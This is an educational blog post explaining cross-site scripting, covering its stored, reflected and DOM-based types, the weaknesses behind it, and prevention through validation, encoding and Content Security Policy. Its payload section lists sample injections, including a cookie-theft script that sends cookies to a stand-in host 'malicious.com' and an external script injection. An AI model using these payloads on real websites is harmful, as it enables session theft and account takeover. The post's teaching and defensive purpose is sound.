Cross-Site Scripting (XSS)

Let’s understand what XSS is together!

Ege Durmaz
5 min readJun 9, 2024

What is XSS?

XSS is a security vulnerability that occurs when a web application allows users to insert content into web pages without sufficient validation. This vulnerability allows attackers to run scripts in the context of another user’s browser, leading to various harmful outcomes.

[1]

Understanding the types of XSS attacks is critical to effective prevention and mitigation.

What are the different types of XSS?

There are three types of XSS:

  • Stored XSS, involves scripts permanently stored on the server
  • Reflected XSS, involves scripts reflected off a web server
  • DOM-Based XSS, it exploits vulnerabilities in client-side code

Each type of XSS has unique characteristics and attack vectors. You will find specifics of each type below.

Reflected XSS

Reflected XSS occurs when malicious scripts are reflected from a web server, usually via a URL or form input, and executed in the user’s browser. This sort of XSS is typically supplied by phishing emails or malicious URLs that fool users into activating the assault.

Stored XSS

Stored XSS happens when malicious scripts are stored on the target server. When people visit the infected page, the script runs in their browser. This sort of XSS is more harmful because the payload is still active and can affect several users.

DOM-Based XSS

DOM-Based XSS occurs when a web application’s client-side code contains a vulnerability. Rather than depending on server-side vulnerabilities, this sort of XSS leverages the Document Object Model (DOM) environment within the user’s browser. It manipulates the DOM to run malicious scripts, frequently avoiding typical XSS safeguards.

To gain a better understanding of these assaults, consider some XSS payload examples.

Types of XSS

Examples of XSS Payloads

XSS payloads can vary in complexity, from simple alerts to sophisticated scripts that exfiltrate data. Some basic examples of XSS payloads:

Simple Alert Payload:

<script>alert(Alert);</script>

Cookie Theft:

<script>document.location='http://malicious.com/steal?cookie='+document.cookie;</script>

Obfuscated Payload:

";a=alert;a()//

External Script Injection:

<svg><script x:href='https://XX.XXXXXX.com/X/XXXXXX/js.js'></script>

Attackers often use obfuscation techniques to bypass security filters and evade detection. For more examples and a comprehensive list of XSS payloads, visit PayloadBox XSS Payload List.

Knowing these examples can help you spot potential weaknesses. Now, let’s look at common vulnerabilities that lead to XSS assaults.

Common Vulnerabilities Leading to XSS

Input Validation Failures

Input validation is the primary line of defense against XSS attacks. When web applications fail to correctly check user input, they become vulnerable to malicious scripts. Attackers can take advantage of these vulnerabilities by injecting code into input fields like forms or search boxes.

Output Encoding Issues

Even with input validation in place, poor output encoding can still result in XSS. Output encoding guarantees that any user-supplied data is properly encoded before it is shown in the browser. Without adequate encoding, special characters in user input can be perceived as code, resulting in script execution.

Trusting User-Generated Content

Web applications that show user-generated information, such as comments or reviews, are especially vulnerable to XSS. Trusting user-generated content without proper sanitization and encoding allows attackers to inject dangerous scripts within it, impacting everyone who sees it.

For XSS attacks to be avoided, it is essential to comprehend these vulnerabilities. Now let’s examine some recommended practices and XSS prevention methods.

Preventing XSS Attacks

Input Validation Best Practices

Input validation is critical to preventing XSS attacks. Developers should set tight validation criteria to ensure that only intended input is allowed. Regular expressions and whitelists can help filter out potentially dangerous characters and inputs.

Output Encoding Techniques

Output encoding converts user-supplied data into a safe format before rendering it in the browser. Techniques like HTML entity encoding, JavaScript encoding, and URL encoding prevent browsers from interpreting special characters as executable code. Libraries and frameworks often provide built-in functions to simplify this process.

Content Security Policy (CSP)

CSP is a security feature that allows the browser to load and execute content from specific sources, thereby mitigating XSS attacks. By confining script execution to trusted sources, CSP dramatically minimizes the danger of malicious code execution. [2]

Let’s go over an actual instance of XSS assault to highlight the significance of these procedures.

Real-World Examples of XSS Attacks

Several high-profile XSS attacks have highlighted the importance of strong web security. A major attack on Twitter occurred in 2010 where a simple XSS vulnerability allowed the spread of the worm, wreaking havoc on the platform [3].

You can find more real-world examples here: https://medium.com/@Land2Cyber/real-world-examples-of-xss-attacks-and-how-they-were-executed-531e0e33e85b

Modern web development frameworks have built-in protections, but developers must still be cautious. Let’s see how modern frameworks handle XSS.

XSS in Modern Web Development

Modern web development frameworks like React, Angular, and Vue have built-in protections against XSS. For example, React automatically escapes any values embedded in the JSX to prevent injection attacks [4]. However, developers must still abide by recommended practices and stay away from risky code patterns that could result in vulnerabilities.

Conclusion

XSS poses a serious risk to online security and has the potential to seriously harm both individuals and businesses. Understanding the many varieties of XSS, how they operate, and the vulnerabilities they exploit is critical for developing effective countermeasures.

To prevent XSS, a comprehensive approach is required, which includes correct input validation, output encoding, and the usage of security tools and policies. Developers and security experts can protect web applications and make the internet a safer place by staying up to date on the latest trends and best practices.

Sources

[1] https://www.imperva.com/learn/application-security/cross-site-scripting-xss-attacks/
Access Date: 08.06.2024

[2] https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
Access Date: 08.06.2024

[3] https://www.theguardian.com/technology/blog/2010/sep/21/twitter-hack-explained-xss-javascript
Access Date: 08.06.2024

[4] https://www.c-sharpcorner.com/article/how-jsx-prevents-injection-attacks-in-reactjs/#:~:text=JSX%20(JavaScript%20XML)%20in%20React,effectively%20neutralizing%20potentially%20malicious%20code.
Access Date: 09.06.2024

[5] https://portswigger.net/web-security/cross-site-scripting
Access Date: 08.06.2024

--

--